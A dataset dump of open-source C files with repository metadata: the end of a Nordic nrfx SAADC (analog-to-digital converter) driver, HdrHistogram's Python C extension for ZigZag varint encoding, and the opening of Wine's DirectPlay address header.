while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_END))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_END);
m_cb.samples_converted += m_cb.channels_activated_count;
if (m_cb.samples_converted < m_cb.size_primary)
{
result = NRFX_ERROR_BUSY;
}
else
{
m_cb.samples_converted = 0;
m_cb.p_buffer_primary = m_cb.p_buffer_secondary;
m_cb.size_primary = m_cb.size_secondary;
m_cb.p_buffer_secondary = NULL;
}
nrf_saadc_disable(NRF_SAADC);
break;
default:
result = NRFX_ERROR_INVALID_STATE;
break;
}
return result;
}
void nrfx_saadc_abort(void)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
if (!m_cb.event_handler)
{
m_cb.p_buffer_primary = NULL;
m_cb.p_buffer_secondary = NULL;
m_cb.samples_converted = 0;
}
else
{
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_STOP);
if (m_cb.saadc_state == NRF_SAADC_STATE_CALIBRATION)
{
// STOPPED event does not appear when the calibration is ongoing
m_cb.saadc_state = NRF_SAADC_STATE_IDLE;
}
}
}
nrfx_err_t nrfx_saadc_limits_set(uint8_t channel, int16_t limit_low, int16_t limit_high)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
NRFX_ASSERT(limit_high >= limit_low);
if (!m_cb.event_handler)
{
return NRFX_ERROR_FORBIDDEN;
}
if ((m_cb.saadc_state == NRF_SAADC_STATE_IDLE) ||
(m_cb.saadc_state == NRF_SAADC_STATE_CALIBRATION))
{
return NRFX_ERROR_INVALID_STATE;
}
if (!(m_cb.channels_activated & (1 << channel)))
{
return NRFX_ERROR_INVALID_PARAM;
}
nrf_saadc_channel_limits_set(NRF_SAADC, channel, limit_low, limit_high);
uint32_t int_mask = nrf_saadc_limit_int_get(channel, NRF_SAADC_LIMIT_LOW);
if (limit_low == INT16_MIN)
{
m_cb.limits_low_activated &= ~(1 << channel);
nrf_saadc_int_disable(NRF_SAADC, int_mask);
}
else
{
m_cb.limits_low_activated |= (1 << channel);
nrf_saadc_int_enable(NRF_SAADC, int_mask);
}
int_mask = nrf_saadc_limit_int_get(channel, NRF_SAADC_LIMIT_HIGH);
if (limit_high == INT16_MAX)
{
m_cb.limits_high_activated &= ~(1 << channel);
nrf_saadc_int_disable(NRF_SAADC, int_mask);
}
else
{
m_cb.limits_high_activated |= (1 << channel);
nrf_saadc_int_enable(NRF_SAADC, int_mask);
}
return NRFX_SUCCESS;
}
nrfx_err_t nrfx_saadc_offset_calibrate(nrfx_saadc_event_handler_t event_handler)
{
NRFX_ASSERT(m_cb.saadc_state != NRF_SAADC_STATE_UNINITIALIZED);
if (saadc_busy_check())
{
return NRFX_ERROR_BUSY;
}
m_cb.saadc_state = NRF_SAADC_STATE_CALIBRATION;
m_cb.event_handler = event_handler;
nrf_saadc_enable(NRF_SAADC);
#if NRFX_CHECK(INTERCEPT_SAADC_CALIBRATION_SAMPLES)
nrf_saadc_buffer_init(NRF_SAADC, m_cb.calib_samples, NRFX_ARRAY_SIZE(m_cb.calib_samples));
if (event_handler)
{
nrf_saadc_int_set(NRF_SAADC, NRF_SAADC_INT_STARTED | NRF_SAADC_INT_CALIBRATEDONE);
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_START);
}
else
{
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_START);
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_STARTED))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STARTED);
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_CALIBRATEOFFSET);
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_CALIBRATEDONE))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_CALIBRATEDONE);
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_END);
nrf_saadc_disable(NRF_SAADC);
m_cb.saadc_state = NRF_SAADC_STATE_IDLE;
}
#else
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_CALIBRATEOFFSET);
if (event_handler)
{
nrf_saadc_int_enable(NRF_SAADC, NRF_SAADC_INT_CALIBRATEDONE);
}
else
{
while (!nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_CALIBRATEDONE))
{}
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_CALIBRATEDONE);
nrf_saadc_disable(NRF_SAADC);
m_cb.saadc_state = NRF_SAADC_STATE_IDLE;
}
#endif // NRFX_CHECK(INTERCEPT_SAADC_CALIBRATION_SAMPLES)
return NRFX_SUCCESS;
}
static void saadc_event_started_handle(void)
{
nrfx_saadc_evt_t evt_data;
switch (m_cb.saadc_state)
{
case NRF_SAADC_STATE_ADV_MODE_SAMPLE:
evt_data.type = NRFX_SAADC_EVT_READY;
m_cb.event_handler(&evt_data);
if (nrf_saadc_continuous_mode_enable_check(NRF_SAADC))
{
// Trigger internal timer
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_SAMPLE);
}
m_cb.saadc_state = NRF_SAADC_STATE_ADV_MODE_SAMPLE_STARTED;
if (m_cb.p_buffer_secondary)
{
nrf_saadc_buffer_init(NRF_SAADC,
m_cb.p_buffer_secondary,
m_cb.size_secondary);
}
/* fall-through */
case NRF_SAADC_STATE_ADV_MODE_SAMPLE_STARTED:
if (!m_cb.p_buffer_secondary)
{
// Send next buffer request only if it was not provided earlier,
// before conversion start or outside of user's callback context.
evt_data.type = NRFX_SAADC_EVT_BUF_REQ;
m_cb.event_handler(&evt_data);
}
break;
case NRF_SAADC_STATE_SIMPLE_MODE_SAMPLE:
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_SAMPLE);
break;
#if NRFX_CHECK(INTERCEPT_SAADC_CALIBRATION_SAMPLES)
case NRF_SAADC_STATE_CALIBRATION:
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_CALIBRATEOFFSET);
break;
#endif
default:
break;
}
}
static void saadc_event_end_handle(void)
{
nrfx_saadc_evt_t evt_data;
evt_data.type = NRFX_SAADC_EVT_DONE;
evt_data.data.done.p_buffer = m_cb.p_buffer_primary;
evt_data.data.done.size = m_cb.size_primary;
m_cb.event_handler(&evt_data);
switch (m_cb.saadc_state)
{
case NRF_SAADC_STATE_SIMPLE_MODE_SAMPLE:
nrf_saadc_disable(NRF_SAADC);
m_cb.saadc_state = NRF_SAADC_STATE_SIMPLE_MODE;
break;
case NRF_SAADC_STATE_ADV_MODE_SAMPLE_STARTED:
m_cb.p_buffer_primary = m_cb.p_buffer_secondary;
m_cb.size_primary = m_cb.size_secondary;
m_cb.p_buffer_secondary = NULL;
if (m_cb.p_buffer_primary)
{
if (m_cb.start_on_end)
{
nrf_saadc_task_trigger(NRF_SAADC, NRF_SAADC_TASK_START);
}
}
else
{
nrf_saadc_disable(NRF_SAADC);
m_cb.saadc_state = NRF_SAADC_STATE_ADV_MODE;
evt_data.type = NRFX_SAADC_EVT_FINISHED;
m_cb.event_handler(&evt_data);
}
break;
default:
break;
}
}
static void saadc_event_limits_handle(uint8_t limits_activated, nrf_saadc_limit_t limit_type)
{
while (limits_activated)
{
uint8_t channel = __CLZ(__RBIT((uint32_t)limits_activated));
limits_activated &= ~(1 << channel);
nrf_saadc_event_t event = nrf_saadc_limit_event_get(channel, limit_type);
if (nrf_saadc_event_check(NRF_SAADC, event))
{
nrf_saadc_event_clear(NRF_SAADC, event);
nrfx_saadc_evt_t evt_data;
evt_data.type = NRFX_SAADC_EVT_LIMIT;
evt_data.data.limit.channel = channel;
evt_data.data.limit.limit_type = limit_type;
m_cb.event_handler(&evt_data);
}
}
}
void nrfx_saadc_irq_handler(void)
{
if (nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_STARTED))
{
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STARTED);
saadc_event_started_handle();
}
if (nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_STOPPED))
{
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_STOPPED);
// If there was ongoing conversion the STOP task also triggers the END event
m_cb.size_primary = nrf_saadc_amount_get(NRF_SAADC);
m_cb.p_buffer_secondary = NULL;
/* fall-through to the END event handler */
}
if (nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_END))
{
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_END);
#if NRFX_CHECK(INTERCEPT_SAADC_CALIBRATION_SAMPLES)
// When samples are intercepted into scratch buffer during calibration,
// END event appears when the calibration finishes. This event should be ignored.
if (m_cb.saadc_state != NRF_SAADC_STATE_CALIBRATION)
#endif
{
saadc_event_end_handle();
}
}
saadc_event_limits_handle(m_cb.limits_low_activated, NRF_SAADC_LIMIT_LOW);
saadc_event_limits_handle(m_cb.limits_high_activated, NRF_SAADC_LIMIT_HIGH);
if (nrf_saadc_event_check(NRF_SAADC, NRF_SAADC_EVENT_CALIBRATEDONE))
{
nrf_saadc_event_clear(NRF_SAADC, NRF_SAADC_EVENT_CALIBRATEDONE);
nrf_saadc_disable(NRF_SAADC);
m_cb.saadc_state = NRF_SAADC_STATE_IDLE;
nrfx_saadc_evt_t evt_data;
evt_data.type = NRFX_SAADC_EVT_CALIBRATEDONE;
m_cb.event_handler(&evt_data);
}
}
#endif // NRFX_CHECK(NRFX_SAADC_ENABLED)
|
244c6cb8d34d5a9c80d2c9b9f00ccffe4f65b3da
|
f96df030a626442632b395e233385008eed6f729
|
/src/python-codec.c
|
c9ea394bfefa54187a33ffc4d6602d6793740b17
|
[
"Apache-2.0"
] |
permissive
|
HdrHistogram/HdrHistogram_py
|
47d22a653f115d90af86886655e6aff888ffe276
|
5d399a669282c10442fc67f1b66b37779ae49b38
|
refs/heads/master
| 2023-09-05T16:38:56.508340
| 2023-08-11T03:44:04
| 2023-08-11T03:44:04
| 38,887,434
| 137
| 35
|
Apache-2.0
| 2023-08-11T03:44:06
| 2015-07-10T15:25:07
|
Python
|
UTF-8
|
C
| false
| false
| 17,018
|
c
|
python-codec.c
|
/**
Python C extensions for HdrHistogram python.
These functions are needed to accelerate the encoding and decoding of
the HdrHistogram V2 format which is based on the ZigZag LEB128 format.
The pure python version of these function is too slow.
Written by Alec Hothan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "python-codec.h"
#include <stdlib.h>
#include <limits.h>
#ifdef _MSC_VER
typedef __int8 int8_t;
typedef unsigned __int8 uint8_t;
typedef __int16 int16_t;
typedef unsigned __int16 uint16_t;
typedef __int32 int32_t;
typedef unsigned __int32 uint32_t;
typedef __int64 int64_t;
typedef unsigned __int64 uint64_t;
#else
#include <stdint.h>
#endif
/* max number of bytes to encode a 64-bit value in LEB128 based on the word size */
#define MAX_BYTES_LEB128(word_size) (word_size + 1)
static int32_t zig_zag_encode_i64(uint8_t* buffer, int64_t signed_value) {
int32_t bytesWritten = 0;
int64_t value = signed_value;
value = (value << 1) ^ (value >> 63);
if (value >> 7 == 0) {
buffer[0] = (uint8_t) value;
bytesWritten = 1;
} else {
buffer[0] = (uint8_t) ((value & 0x7F) | 0x80);
if (value >> 14 == 0) {
buffer[1] = (uint8_t) (value >> 7);
bytesWritten = 2;
} else {
buffer[1] = (uint8_t) ((value >> 7 | 0x80));
if (value >> 21 == 0) {
buffer[2] = (uint8_t) (value >> 14);
bytesWritten = 3;
} else {
buffer[2] = (uint8_t) (value >> 14 | 0x80);
if (value >> 28 == 0) {
buffer[3] = (uint8_t) (value >> 21);
bytesWritten = 4;
} else {
buffer[3] = (uint8_t) (value >> 21 | 0x80);
if (value >> 35 == 0) {
buffer[4] = (uint8_t) (value >> 28);
bytesWritten = 5;
} else {
buffer[4] = (uint8_t) (value >> 28 | 0x80);
if (value >> 42 == 0) {
buffer[5] = (uint8_t) (value >> 35);
bytesWritten = 6;
} else {
buffer[5] = (uint8_t) (value >> 35 | 0x80);
if (value >> 49 == 0) {
buffer[6] = (uint8_t) (value >> 42);
bytesWritten = 7;
} else {
buffer[6] = (uint8_t) (value >> 42 | 0x80);
if (value >> 56 == 0) {
buffer[7] = (uint8_t) (value >> 49);
bytesWritten = 8;
} else {
buffer[7] = (uint8_t) (value >> 49 | 0x80);
buffer[8] = (uint8_t) (value >> 56);
bytesWritten = 9;
}
}
}
}
}
}
}
}
return bytesWritten;
}
/**
* Decode the next value from a zigzag varint string
* @param buffer points to next byte to read and decode
* @param len number of bytes available starting from buffer, must be >0
* @param retVal where to store the decoded value
* @return number of bytes read (>0) or -1 if there was a truncation error
* (meaning buffer is too short to complete the decoding)
* or a value overflow error (value does not fit in 64-bit)
*/
static int zig_zag_decode_i64(const uint8_t* buffer, int len, int64_t* retVal) {
int64_t result = 0;
int shift = 0;
uint64_t b;
int read_index = 0;
while (read_index < len) {
b = buffer[read_index++];
result |= ((b & 0x7f) << shift);
if (((b & 0x80) == 0) || (read_index == 9)) {
/* At most 9 bytes, the 9th byte is always a full byte (no more bit)
at this point the max value we can get would fit in 64 bits
as 8 times 7 bits + 8 = 64
*/
/* unzigzag the value 0=>0, 1=>-1, 2=>1, 3=>-2, 4=>2 etc...*/
if (result & 0x1) {
result = (result >> 1) ^ (~0);
} else {
result = result >> 1;
}
*retVal = result;
return read_index;
}
shift += 7;
if (shift >= 64) {
/* too big to fit */
return -1;
}
}
/* incomplete buffer */
return -1;
}
/* Helper functions for reading and writing into various word size arrays */
typedef uint64_t (*get_array_entry)(void *src, int index);
static uint64_t get_array_entry16(void *src, int index) {
uint16_t *array = src;
return array[index];
}
static uint64_t get_array_entry32(void *src, int index) {
uint32_t *array = src;
return array[index];
}
static uint64_t get_array_entry64(void *src, int index) {
uint64_t *array = src;
return array[index];
}
typedef int (*set_array_entry)(void *src, int index, uint64_t value);
static int set_array_entry16(void *src, int index, uint64_t value) {
uint16_t *array = src;
if (value > 0xFFFF) {
return -1;
}
array[index] = value;
return 0;
}
static int set_array_entry32(void *src, int index, uint64_t value) {
uint32_t *array = src;
if (value > 0xFFFFFFFF) {
return -1;
}
array[index] = (uint32_t) value;
return 0;
}
static int set_array_entry64(void *src, int index, uint64_t value) {
uint64_t *array = src;
array[index] = value;
return 0;
}
/**
* Encodes a counts array of a given size and word size into
* a varint stream compliant to the HdrHistogram V2 format
# @return the length of the encoded varint stream in bytes
*/
static PyObject *py_hdr_encode(PyObject *self, PyObject *args) {
void *vsrc; /* l: addressof a ctypes c_uint16, c_uint32 or c_uint64 array */
int max_index; /* i: encode entries [0..max_index-1] */
int word_size; /* i: word size in bytes (2,4,8) for each array element */
uint8_t *dest; /* l: where to encode */
int dest_len; /* i: length of the destination buffer, must be >=(word_size+1)*max_index */
get_array_entry get_entry;
int index;
int write_index;
PyObject *res;
if (!PyArg_ParseTuple(args, "liili", &vsrc, &max_index, &word_size, &dest, &dest_len)) {
return NULL;
}
if (vsrc == NULL) {
PyErr_SetString(PyExc_ValueError, "NULL source array");
return NULL;
}
if (max_index < 0) {
PyErr_SetString(PyExc_ValueError, "Negative max index");
return NULL;
}
if (max_index == 0) {
return Py_BuildValue("i", 0);
}
if (word_size == sizeof(uint16_t)) {
get_entry = get_array_entry16;
} else if (word_size == sizeof(uint32_t)) {
get_entry = get_array_entry32;
} else if (word_size == sizeof(uint64_t)) {
get_entry = get_array_entry64;
} else {
PyErr_SetString(PyExc_ValueError, "Invalid word size");
return NULL;
}
if (dest_len < (word_size + 1) * max_index) {
PyErr_SetString(PyExc_ValueError, "Negative offset");
return NULL;
}
if (dest == NULL) {
PyErr_SetString(PyExc_ValueError, "Destination buffer is NULL");
return NULL;
}
write_index = 0;
for (index=0; index < max_index;) {
uint64_t value = get_entry(vsrc, index);
++index;
/* max encodable value must fit in 63 bit */
if (value == 0) {
int64_t zeros = 1;
while (index < max_index && 0 == get_entry(vsrc, index)) {
zeros++;
index++;
}
write_index += zig_zag_encode_i64(&dest[write_index], -zeros);
}
else if (((int64_t) value) < 0) {
free(dest);
PyErr_SetString(PyExc_OverflowError,
"64-bit overflow - zigzag only supports 63-bit values");
return NULL;
} else {
write_index += zig_zag_encode_i64(&dest[write_index], value);
}
}
/* write_index is the exact length of the encoded string */
res = Py_BuildValue("i", write_index);
return res;
}
/**
* Decodes a character buffer containing a varint stream into
* a pre-allocated counts array of a given size and word size
* @return a dictionary
* { "total":int,"min_nonzero_index":int,"max_nonzero_index":int}
*/
static PyObject *py_hdr_decode(PyObject *self, PyObject *args) {
uint8_t *src; /* t#: read only character buffer */
Py_ssize_t src_len; /* its length */
int read_index; /* i: start decoding from this offset, must be < src_len */
void *vdst; /* l: address of a counts array */
int max_index; /* i: number of entries in that array, must be > 0 */
int word_size; /* i: word size of the array entries: 2, 4 or 8 */
set_array_entry set_entry;
uint64_t total_count = 0;
int64_t min_nonzero_index = -1;
int64_t max_nonzero_index = 0;
if (!PyArg_ParseTuple(args, "s#iLii", &src, &src_len,
&read_index,
&vdst, &max_index,
&word_size)) {
return NULL;
}
if (vdst == NULL) {
PyErr_SetString(PyExc_ValueError, "NULL destination array");
return NULL;
}
if (read_index < 0) {
PyErr_SetString(PyExc_IndexError, "Negative starting read index");
return NULL;
}
if (max_index <= 0) {
PyErr_SetString(PyExc_IndexError, "Negative or null max index");
return NULL;
}
if (word_size == sizeof(uint16_t)) {
set_entry = set_array_entry16;
} else if (word_size == sizeof(uint32_t)) {
set_entry = set_array_entry32;
} else if (word_size == sizeof(uint64_t)) {
set_entry = set_array_entry64;
} else {
PyErr_SetString(PyExc_ValueError, "Invalid word size");
return NULL;
}
src_len -= read_index;
if ((src_len > 0) && src) {
int64_t dst_index;
/* something to decode */
dst_index = 0;
for (;;) {
/* invariant: src_len > 0 and dst_index < max_index */
int64_t value;
int read_bytes;
read_bytes = zig_zag_decode_i64(&src[read_index], src_len, &value);
if (read_bytes < 0) {
/* decode error */
PyErr_SetString(PyExc_ValueError, "Zigzag varint decoding error");
return NULL;
}
read_index += read_bytes;
src_len -= read_bytes;
/* check that negative value fit in int32_t */
if (value < INT_MIN) {
PyErr_SetString(PyExc_OverflowError, "Decoding error: negative overflow");
return NULL;
}
if (value < 0) {
/* skip zeros counts */
dst_index -= value;
} else {
if (value) {
if (set_entry(vdst, (int) dst_index, value)) {
PyErr_SetString(PyExc_OverflowError, "Value overflows destination counter size");
return NULL;
}
total_count += value;
max_nonzero_index = dst_index;
if (min_nonzero_index < 0) {
min_nonzero_index = dst_index;
}
}
++dst_index;
}
/* check for end of decode stream */
if (src_len == 0) {
break;
}
if (dst_index >= max_index) {
/* overrun */
PyErr_Format(PyExc_IndexError, "Destination array overrun index=%lld max index=%d",
dst_index, max_index);
return NULL;
}
}
}
return Py_BuildValue("{s:L,s:L,s:L}",
"total", total_count,
"min_nonzero_index", min_nonzero_index,
"max_nonzero_index", max_nonzero_index);
}
/**
* Adds 1 array into the other. Checks for potential overflow before adding.
* In case of overflow error the destination array is unmodified.
*/
static PyObject *py_hdr_add_array(PyObject *self, PyObject *args) {
void *vdst; /* l: address of destination array first entry */
void *vsrc; /* l: address of source array first entry */
int max_index; /* i: entries from 0 to max_index-1 are added */
int word_size; /* i: size of each entry in bytes 2,4,8 */
uint64_t total_count = 0;
if (!PyArg_ParseTuple(args, "llii", &vdst, &vsrc, &max_index, &word_size)) {
return NULL;
}
if (vsrc == NULL) {
PyErr_SetString(PyExc_ValueError, "NULL source array");
return NULL;
}
if (vdst == NULL) {
PyErr_SetString(PyExc_ValueError, "NULL destination array");
return NULL;
}
if (max_index < 0) {
PyErr_SetString(PyExc_ValueError, "Negative max index");
return NULL;
}
if (word_size == sizeof(uint16_t)) {
uint16_t *src = vsrc;
uint16_t *dst = vdst;
int index;
/* check overflow */
for (index=0; index < max_index; ++index) {
uint16_t value = src[index];
if (value && (((uint16_t)(dst[index] + value)) < dst[index])) {
PyErr_SetString(PyExc_OverflowError, "16-bit overflow");
return NULL;
}
}
for (index=0; index < max_index; ++index) {
uint16_t value = src[index];
if (value) {
dst[index] += value;
total_count += value;
}
}
} else if (word_size == sizeof(uint32_t)) {
uint32_t *src = vsrc;
uint32_t *dst = vdst;
int index;
/* check overflow */
for (index=0; index < max_index; ++index) {
uint32_t value = src[index];
if (value && (((uint32_t)(dst[index] + value)) < dst[index])) {
PyErr_SetString(PyExc_OverflowError, "32-bit overflow");
return NULL;
}
}
for (index=0; index < max_index; ++index) {
uint32_t value = src[index];
if (value) {
dst[index] += value;
total_count += value;
}
}
} else if (word_size == sizeof(uint64_t)) {
uint64_t *src = vsrc;
uint64_t *dst = vdst;
int index;
/* check overflow */
for (index=0; index < max_index; ++index) {
uint64_t value = src[index];
if (value && ((dst[index] + value) < dst[index])) {
PyErr_SetString(PyExc_OverflowError, "64-bit overflow");
return NULL;
}
}
for (index=0; index < max_index; ++index) {
uint64_t value = src[index];
if (value) {
dst[index] += value;
total_count += value;
}
}
} else {
PyErr_SetString(PyExc_ValueError, "Invalid word size");
return NULL;
}
return Py_BuildValue("L", total_count);
}
#define ENCODE_DOCSTRING "Encode a counts array into a V2 varint buffer"
#define DECODE_DOCSTRING "Decode a V2 varint buffer into a counts array"
#define ADD_ARRAY_DOCSTRING "Add a counts array to another"
static PyMethodDef HdrhMethods[] = {
{"encode", py_hdr_encode, METH_VARARGS, ENCODE_DOCSTRING},
{"decode", py_hdr_decode, METH_VARARGS, DECODE_DOCSTRING},
{"add_array", py_hdr_add_array, METH_VARARGS, ADD_ARRAY_DOCSTRING},
{NULL, NULL, 0, NULL}
};
#if PY_MAJOR_VERSION >= 3
static struct PyModuleDef hdrhdef = {
PyModuleDef_HEAD_INIT,
"pyhdrh", /* m_name */
NULL, /* m_doc */
-1, /* m_size */
HdrhMethods, /* m_methods */
NULL, /* m_reload */
NULL, /* m_traverse */
NULL, /* m_clear */
NULL, /* m_free */
};
PyMODINIT_FUNC PyInit_pyhdrh(void) {
return PyModule_Create(&hdrhdef);
}
#else
PyMODINIT_FUNC initpyhdrh(void) {
(void) Py_InitModule("pyhdrh", HdrhMethods);
}
#endif
|
85a55f5065eeb09470ffeb6a491043e9aceb8aa9
|
79d343002bb63a44f8ab0dbac0c9f4ec54078c3a
|
/lib/libc/include/any-windows-any/dpaddr.h
|
9201f29610f4a5830e766910c7bb4de85d1dc6b1
|
[
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-public-domain",
"MIT"
] |
permissive
|
ziglang/zig
|
4aa75d8d3bcc9e39bf61d265fd84b7f005623fc5
|
f4c9e19bc3213c2bc7e03d7b06d7129882f39f6c
|
refs/heads/master
| 2023-08-31T13:16:45.980913
| 2023-08-31T05:50:29
| 2023-08-31T05:50:29
| 40,276,274
| 25,560
| 2,399
|
MIT
| 2023-09-14T21:09:50
| 2015-08-06T00:51:28
|
Zig
|
UTF-8
|
C
| false
| false
| 17,887
|
h
|
dpaddr.h
|
#undef INTERFACE
/*
* Copyright (C) 2003-2005 Raphael Junqueira
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifndef __WINE_DPLAY8_DPADDR_H
#define __WINE_DPLAY8_DPADDR_H
#include <ole2.h>
#include <dplay8.h>
#ifdef __cplusplus
extern "C" {
#endif /* defined(__cplusplus) */
typedef REFIID DPNAREFIID;
#ifndef _WINSOCK2API_
typedef struct sockaddr SOCKADDR;
#endif
/*****************************************************************************
* DirectPlay8Addr defines
*/
#define DPNA_DATATYPE_STRING 0x00000001
#define DPNA_DATATYPE_DWORD 0x00000002
#define DPNA_DATATYPE_GUID 0x00000003
#define DPNA_DATATYPE_BINARY 0x00000004
#define DPNA_DATATYPE_STRING_ANSI 0x00000005
#define DPNA_DPNSVR_PORT 6073
#define DPNA_INDEX_INVALID 0xFFFFFFFF
#define DPNA_SEPARATOR_KEYVALUE L'='
#define DPNA_SEPARATOR_KEYVALUE_A '='
#define DPNA_SEPARATOR_USERDATA L'#'
#define DPNA_SEPARATOR_USERDATA_A '#'
#define DPNA_SEPARATOR_COMPONENT L';'
#define DPNA_SEPARATOR_COMPONENT_A ';'
#define DPNA_ESCAPECHAR L'%'
#define DPNA_ESCAPECHAR_A '%'
#define DPNA_HEADER_A "x-directplay:/"
#define DPNA_KEY_APPLICATION_INSTANCE_A "applicationinstance"
#define DPNA_KEY_BAUD_A "baud"
#define DPNA_KEY_DEVICE_A "device"
#define DPNA_KEY_FLOWCONTROL_A "flowcontrol"
#define DPNA_KEY_HOSTNAME_A "hostname"
#define DPNA_KEY_NAMEINFO_A "nameinfo"
#define DPNA_KEY_PARITY_A "parity"
#define DPNA_KEY_PHONENUMBER_A "phonenumber"
#define DPNA_KEY_PORT_A "port"
#define DPNA_KEY_PROCESSOR_A "processor"
#define DPNA_KEY_PROGRAM_A "program"
#define DPNA_KEY_PROVIDER_A "provider"
#define DPNA_KEY_SCOPE_A "scope"
#define DPNA_KEY_STOPBITS_A "stopbits"
#define DPNA_KEY_TRAVERSALMODE_A "traversalmode"
#define DPNA_STOP_BITS_ONE_A "1"
#define DPNA_STOP_BITS_ONE_FIVE_A "1.5"
#define DPNA_STOP_BITS_TWO_A "2"
#define DPNA_PARITY_NONE_A "NONE"
#define DPNA_PARITY_EVEN_A "EVEN"
#define DPNA_PARITY_ODD_A "ODD"
#define DPNA_PARITY_MARK_A "MARK"
#define DPNA_PARITY_SPACE_A "SPACE"
#define DPNA_FLOW_CONTROL_NONE_A "NONE"
#define DPNA_FLOW_CONTROL_XONXOFF_A "XONXOFF"
#define DPNA_FLOW_CONTROL_RTS_A "RTS"
#define DPNA_FLOW_CONTROL_DTR_A "DTR"
#define DPNA_FLOW_CONTROL_RTSDTR_A "RTSDTR"
#define DPNA_VALUE_TCPIPPROVIDER_A "IP"
#define DPNA_VALUE_IPXPROVIDER_A "IPX"
#define DPNA_VALUE_MODEMPROVIDER_A "MODEM"
#define DPNA_VALUE_SERIALPROVIDER_A "SERIAL"
/* And now the same thing but as Unicode strings */
#if defined(_MSC_VER) || defined(__MINGW32__)
# define DPNA_HEADER L"x-directplay:/"
# define DPNA_KEY_APPLICATION_INSTANCE L"applicationinstance"
# define DPNA_KEY_BAUD L"baud"
# define DPNA_KEY_DEVICE L"device"
# define DPNA_KEY_FLOWCONTROL L"flowcontrol"
# define DPNA_KEY_HOSTNAME L"hostname"
# define DPNA_KEY_NAMEINFO L"nameinfo"
# define DPNA_KEY_PARITY L"parity"
# define DPNA_KEY_PHONENUMBER L"phonenumber"
# define DPNA_KEY_PORT L"port"
# define DPNA_KEY_PROCESSOR L"processor"
# define DPNA_KEY_PROGRAM L"program"
# define DPNA_KEY_PROVIDER L"provider"
# define DPNA_KEY_SCOPE L"scope"
# define DPNA_KEY_STOPBITS L"stopbits"
# define DPNA_KEY_TRAVERSALMODE L"traversalmode"
# define DPNA_STOP_BITS_ONE L"1"
# define DPNA_STOP_BITS_ONE_FIVE L"1.5"
# define DPNA_STOP_BITS_TWO L"2"
# define DPNA_PARITY_NONE L"NONE"
# define DPNA_PARITY_EVEN L"EVEN"
# define DPNA_PARITY_ODD L"ODD"
# define DPNA_PARITY_MARK L"MARK"
# define DPNA_PARITY_SPACE L"SPACE"
# define DPNA_FLOW_CONTROL_NONE L"NONE"
# define DPNA_FLOW_CONTROL_XONXOFF L"XONXOFF"
# define DPNA_FLOW_CONTROL_RTS L"RTS"
# define DPNA_FLOW_CONTROL_DTR L"DTR"
# define DPNA_FLOW_CONTROL_RTSDTR L"RTSDTR"
# define DPNA_VALUE_TCPIPPROVIDER L"IP"
# define DPNA_VALUE_IPXPROVIDER L"IPX"
# define DPNA_VALUE_MODEMPROVIDER L"MODEM"
# define DPNA_VALUE_SERIALPROVIDER L"SERIAL"
#else
static const WCHAR DPNA_HEADER[] = { 'x','-','d','i','r','e','c','t','p','l','a','y',':','/',0 };
static const WCHAR DPNA_KEY_APPLICATION_INSTANCE[] = { 'a','p','p','l','i','c','a','t','i','o','n','i','n','s','t','a','n','c','e',0 };
static const WCHAR DPNA_KEY_BAUD[] = { 'b','a','u','d',0 };
static const WCHAR DPNA_KEY_DEVICE[] = { 'd','e','v','i','c','e',0 };
static const WCHAR DPNA_KEY_FLOWCONTROL[] = { 'f','l','o','w','c','o','n','t','r','o','l',0 };
static const WCHAR DPNA_KEY_HOSTNAME[] = { 'h','o','s','t','n','a','m','e',0 };
static const WCHAR DPNA_KEY_NAMEINFO[] = { 'n','a','m','e','i','n','f','o',0 };
static const WCHAR DPNA_KEY_PARITY[] = { 'p','a','r','i','t','y',0 };
static const WCHAR DPNA_KEY_PHONENUMBER[] = { 'p','h','o','n','e','n','u','m','b','e','r',0 };
static const WCHAR DPNA_KEY_PORT[] = { 'p','o','r','t',0 };
static const WCHAR DPNA_KEY_PROCESSOR[] = { 'p','r','o','c','e','s','s','o','r',0 };
